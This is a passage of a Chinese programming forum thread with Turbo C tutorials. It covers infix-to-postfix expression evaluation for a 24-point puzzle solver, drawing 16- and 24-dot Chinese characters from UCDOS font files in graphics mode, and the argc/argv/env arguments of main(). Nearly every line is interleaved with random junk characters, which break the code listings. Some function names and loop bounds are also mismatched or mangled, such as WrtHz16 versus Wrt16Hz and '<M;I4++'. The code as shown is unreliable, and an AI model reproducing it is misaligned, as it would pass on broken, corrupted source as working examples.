) D+ z$ X* H! P9 a, ecase '=': p=-1; break;2 m6 }  E3 }8 D+ ?. r/ Q  J
}5 g4 c$ k+ m) n1 _3 m2 u3 @# b
return(p);+ U4 N. [: E# e
}
0 O6 w, a$ c7 q  u& s: \1 X/* 此函数实现中缀到后缀的转换 */1 h* R/ [9 v7 K- [6 M! M& `
/* M的值宏定义为20 */3 r5 S- n1 J6 c, x
/* sp[]为表达式数组 */
, H/ C: {. X( }3 mint mid_last()
3 z3 B! b* Y) a1 ]6 v5 ]{ int i=0,j=0; char c,sm[M];; U( q% x% S3 }4 N# K" |. e( O5 I
c=s[0]; sm[0]='='; top=0;
3 k3 j; a+ Z1 T0 awhile(c!='\0')
# j- a2 h+ N7 U{ if(islower(c)) sp[j++]=c;7 y( v" @+ D# x6 c, C3 a! O/ ?0 P
else switch(c)- Y# j& \# b8 J4 ]3 m; s+ w: Y
{ case '+':
4 o& X5 h& r1 P- p% ]" [case '-':( z1 p( k2 p1 c! R9 m
case '*':% z; q0 i# E+ d- M& F# @
case '/': while(first(c)&lt;=first(sm[top]))
5 @; g6 A3 l% }- N, Osp[j++]=sm[top--];/ U. H7 w/ @5 j% T( p2 z1 Z  s
sm[++top]=c; break;: g9 {( U5 r4 s" @& i+ E$ O: g0 W
case '(': sm[++top]=c; break;. h% n! j# U' C
case ')': while(sm[top]!='(')
8 {1 s) K, z7 t: I; p5 j  ysp[j++]=sm[top--];
. b( s) e3 n- T8 p) j, J3 ltop--; break;( j1 G% d2 E4 g4 _" X6 p% J" k
default :return(1);
( h2 ?: W% j0 S}
  _* b5 ?* p4 l$ n/ Ic=s[++i];& `6 X7 N$ _. x. i
}* m) X! u+ f, i( X/ X: W$ C
while(top&gt;0) sp[j++]=sm[top--];; e  c  M, h/ y" J
sp[j]='\0'; return(0);
4 {* F- `' o1 \$ V1 C}
1 `  O3 U; m$ U. Y2 z6 ~/* 由后缀表达式来计算表达式的值 */
1 Z8 J( w2 h% z. T+ w) T/ Lint calc()
& i/ ~: m8 N' k, t{ int i=0,sm[M],tr; char c;8 k( ^  ^" G- q/ M: \  B8 g
c=sp[0]; top=-1;% y  ^+ M/ B& f- J" S% Z4 ?
while(c!='\0')
1 \* p5 A8 m! R. W& P( b1 o{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
2 v7 `& y6 Q( ^0 }& |: |这样才可以更方便的处理非一位数,
2 D# ~" x. q8 g' N6 E% V% lver数组中存放着这些字母所代替的数*/  I2 R1 v* E5 ]2 {
else switch(c)
1 d; \0 l: Y$ K2 g0 B{ case '+': tr=sm[top--]; sm[top]+=tr; break;
( g8 B$ J5 r) p! L5 T3 Q  \% Pcase '-': tr=sm[top--]; sm[top]-=tr; break;, y2 B) o6 v7 N0 s
case '*': tr=sm[top--]; sm[top]*=tr; break;  r: W# p( y. q% o9 P
case '/': tr=sm[top--];sm[top]/=tr;break;
2 \( O, I& y  tdefault : return(1);
" x$ I, |' c. H1 `  p}
. Y1 _/ s+ k8 v# o4 cc=sp[++i];
% c) e& f2 e  Z6 j+ h+ L+ x; @, B5 c5 F}
& }3 ]; d. q; k& F" ^9 f  o8 gif(top&gt;0) return(1);* M3 x( E* r/ ]- @& C, X) c: Z4 W
else { result=sm[top]; return(0); }7 ~1 k; y4 L- s% F% S$ N/ X
}
/ q4 e2 j$ Y% e5 H1 x. z/ X2 s4 i</FONT>
. C* b5 Y: Y6 v' R  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
7 f% s! N# q' q, H4 U5 |4 e4 Q) W! _& D. U  G9 J0 `6 @
  最后我总结了一下这其中容易出错的地方——
% S7 b6 ?$ Z  ?- ?8 Y- \9 g* r* u+ f, f
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。( C/ r  {% r. i/ [$ }) i, x, s) j- v
3 k# ^1 d: F& R  |" m
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
5 Q" k: l# B: Z4 D6 s$ Q) @6 M" C! g: `; [' M, N/ r
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
/ G# n8 O% Q: p3 D
0 m6 n( t% J* V9 h  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
! C! _. l$ w1 s0 W" L9 r& T4 X& {  x% i" u, v
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。* h2 @+ S$ ?# j

( w' o  z4 f0 [4 D' @& C$ Y  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
/ {8 A8 |0 o1 ]& x& ~( \' O. N2 G7 N
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
, I5 J. k9 W4 ?- J/ R/ r3 [  ~' B</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
! k9 K9 j* R) q$ F; Q, j' g0 A4 v5 \图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}, F# ]) N( w7 T5 ~
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。" H0 [0 e! h2 a2 [
  汉字显示的第一步是打开字库文件。
2 g0 b$ N1 ~) k+ f$ T; u  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。5 e5 `, q! x6 w. Y
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)' E' B1 L( C! x$ N% s8 o
{& G. ?% ~" H/ q4 q: Q
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
5 ]) ?8 s. ?3 p& N* i. Sint rec,i1,i2,i3; /*z:space between;*/% _  M0 [' x; S  r
long l; /*color:txt color*/
+ E5 h4 q& N, m9 N$ A5 y: ?4 dchar by[32]; /*p:HZ str*/
: T1 r9 }( K6 }  h6 iif( handle&lt;0 ) return -1; while((i=*p++)!=0){! U8 f, T$ ~+ i$ }& F. Q
if(i&gt;0xa1)% ~/ }! X( v' {8 O" |* A" a
if(f==0){0 z5 ]: L6 e8 A: Y4 N1 T
c1=(i-0xa1)&amp;0x07f;; z; y: Z$ P; e- {! w, ^' y/ W
f=1;
/ P! W" S8 q2 d% m6 K}/ D$ w4 }$ y/ ^& q: C! I
else{) G3 @4 p, \* ]6 n4 K# H
c2=(i-0xa1)&amp;0x07f;
5 r! r8 ~# ?+ ?+ h- @* `: G& xf=0;" h! [) L, a4 ^- H! a
rec=c1*94+c2;
5 Y# a1 W7 L8 X* ~1 Vl=rec*32L;
* d3 s3 N4 S  n0 u9 a3 f6 mlseek(handle,l,SEEK_SET);2 d) y8 i% |/ B" e' g0 n0 s
read(handle,by,32);$ q/ p. L+ C+ Z( j2 `' a; t
for(i1=0;i1&lt;16;i1++)
3 v5 Q, h/ N9 d2 W- q  ^) Gfor(i2=0;i2&lt;2;i2++)
9 W8 T2 ^/ e8 ~" }  hfor(i3=0;i3&lt;8;i3++)% E! S( i8 }" d4 S& ?. R1 K# D
if(GetBit(by[i1*2+i2],7-i3))/ k+ p3 B9 {5 L. g5 q; m4 k) }0 ]
putpixel(x+i2*8+i3,y+i1,color);
; N$ c( X9 Z6 p' Q7 t- s% ^x=x+z+16;$ |2 H' g3 t/ t; d2 n5 `  ?
}) B# ~1 j+ i3 N) z& j
}
% {7 d1 P7 ~7 m$ o# C5 treturn(x);
# T7 I  ?7 f8 F( ?7 o7 ~}3 H3 i/ n5 W* o! m2 v1 m$ `& a
函数GetBit定义如下:
2 X2 _( f% E: v- A  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。$ Z5 }' X+ M1 ^
int GetBit(unsigned char c,int n)7 r& y  X6 E2 {" R8 c: @  m
{% ~% G% _" d* o! B6 {! W
return((c&gt;&gt;n)&amp;1);
* f+ {6 w5 P$ q}, U2 H$ b( q6 \' H
汉字显示结束,应该关闭字库文件。& r% W, v9 k; w. E, D/ I2 J! M2 I
void CloseHz(void): Y% m+ `0 X  o7 ~8 t; W
{; Y, @6 S- k' _9 m( q' }. \
close( handle );
8 }+ g; [- B* t}! V6 s% Q$ M" _- v2 C
#include "\Caic\Include\Hz.h", ~  N& e# h) f9 R9 \, i
#include <GRAPHICS.H>7 V( f% I1 r! u. e2 t
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
  L. ~7 q7 }1 B$ A0 _# f6 G: qconst char* HzStr = "苦丁香C语言辅助学习软件";1 X$ h9 m/ s0 ~+ e' z) W* |
void main(){
0 {. D% O. d& p* p; sint gr=DETECT,gm;9 ~" |, E- P& _
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
, z1 H8 A( p  F: |$ AOpenHz( Hz16Path );
3 P( @1 k( ^5 v; u% K. ~, CWrt16Hz(20,20,4,RED,HzStr);
" U' i0 }5 w% H& T$ oCloseHz();" Z8 S& K  V0 Y
getch();
/ y* q. p/ f. k) @closegraph();3 f5 O& M: Z, i4 K9 p. C( H
}显示24点阵及放大汉字
/ U; T" k, H- h  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。' `0 ?0 H- `% H- d
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
. N. {  r5 Z! Y; @" t& dint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)6 i, Z2 j7 a, n5 c! g( L2 n
{
% r( I6 j6 \3 N0 C5 yunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/  T. S% ^$ N1 J' V0 `+ Z
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
. Q" S8 C8 K3 h' n" Rlong l; /*color:汉字颜色*/
: A) K& u# p2 nchar by[72]; /*m: x 方向的放大倍数*/
$ D+ l; i) Z* ]& R3 ?) V5 y% v/*n: y 方向的放大倍数*/
0 U3 ^3 M/ h; P, pif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
( n: f) {& D$ Vif(i&gt;0xa1)
/ Z: |& Y+ g8 D0 Yif(f==0){0 r. M$ B# T$ }  E- E
c1=(i-0xa1)&amp;0x7f;
) I9 @. h; m* T6 b' |f=1;9 |5 ~7 u5 F& ]
}
" O7 z3 K; E9 f  O  b1 M& e0 ielse{
; t5 A* `( W2 c- y5 Rc2=(i-0xa1)&amp;0x7f;
3 ~" u; |7 `! H! a1 y# Kf=0;4 a; Q. D  w) l( t4 T; m: W
rec=(c1-15)*94+c2;* |# h2 c7 o, ~  |. R& w8 G* ~8 _
l=rec*72L;
, U, n  c1 K6 G2 b- O/ W' Hlseek(handle,l,SEEK_SET);
4 m! c1 N# s5 t( a* \$ Q( q. ]( ^" Eread(handle,by,72);; h2 ]; Z/ l3 N# [4 u
for(i1=0;i1&lt;24*m;i1=i1+m)6 ^( k) {% O, x6 B4 X
for(i4=0;i4<M;I4++)* M; Q) B* y% j! X
for(i2=0;i2&lt;=2;i2++)8 I, o4 d2 I9 s( g2 `
for(i3=0;i3&lt;8;i3++)
7 }# U  n: `2 B! f: @4 qif(GetBit(by[i1/m*3+i2],7-i3))
4 I, O2 V4 Q. R8 I7 v0 a- G$ Bfor(i5=0;i5<N;I5++)( p+ n1 g5 s( m1 E0 l4 h3 y
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
# Z9 ~0 d; ], H5 y6 P: lx=x+24*m+z;
) B  M, y% b0 b}
/ I5 }; N8 @0 X9 m7 `) Z/ A  Q}& }; z* y) B1 N4 }; c6 I' U
return(x);
" t: K5 [8 p$ e8 y( t6 K( b} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
+ F+ h; @  Z5 F* G#include <GRAPHICS.H>
! s0 ?+ L& H8 V$ c, r  N8 j#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."$ Y7 b# I# P& k) @5 L# D8 [
const char* HzStr = "苦丁香C语言辅助学习软件";6 \8 V- ]4 `1 _1 P7 b( V
void main(){
$ o8 S$ H5 C5 n2 F. i5 kint gr=DETECT,gm;* V6 B+ Y6 s) ]
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
5 d. B8 h- B- h  x" s- rOpenHz( Hz24Path );
0 s5 h0 u' Q- u# K/ q5 [  EWrt24Hz(20,20, /*先是在(x,y)*/
, [& v7 n9 ~* N4 _" M4, /*汉字间的空格为4*/
2 N1 o" V$ @4 f. Z$ Q1 ]RED, /*用红色显示*/& a; _2 \( e* ?$ Y: g/ j0 |
2, /*x 方向放大2倍*/
% ~* X3 f% n4 R5 ~5 z3 y" B. n4, /*y 方向放大4倍*/
9 b% g1 M$ f1 `+ r9 U5 uHzStr); /*显示字符串*/
0 l0 f6 b3 l2 o9 S6 yCloseHz();4 V7 w8 y; f8 F$ w' z4 I
getch();: t1 X- I" n' P4 ^8 \# a
closegraph();
- G5 M' M% t4 I8 [* `: J}
; o! ^, W& x4 }</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
. x1 J+ x+ ^' o/ v+ G! s  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。0 a7 U, B8 |7 m# [7 w9 K  t" r9 \
1. main() 参数
) D  t" |+ a2 v$ g" u: y1 m  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。, A+ M/ y" d8 Y
  * argc: 整数,为传给main()的命令行参数个数。
* C+ l3 |) T9 P6 K6 e. |' X& a  * argv: 字符串数组。2 E5 a1 o: d* l/ |* t
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
; f" G( ?. {/ f对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
  x- d6 _7 j: \7 q  W/ _...
/ c) L7 T: f9 b* q, U( cargv[argc]为NULL。
- X: h  p% J0 c9 }" f2 h2 @" Y6 U  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应2 P0 d* |2 u" H: A( W7 S8 }- d
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

9#
无效楼层,该帖已经被删除
10#
无效楼层,该帖已经被删除
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 08:16 , Processed in 0.673704 second(s), 97 queries .

回顶部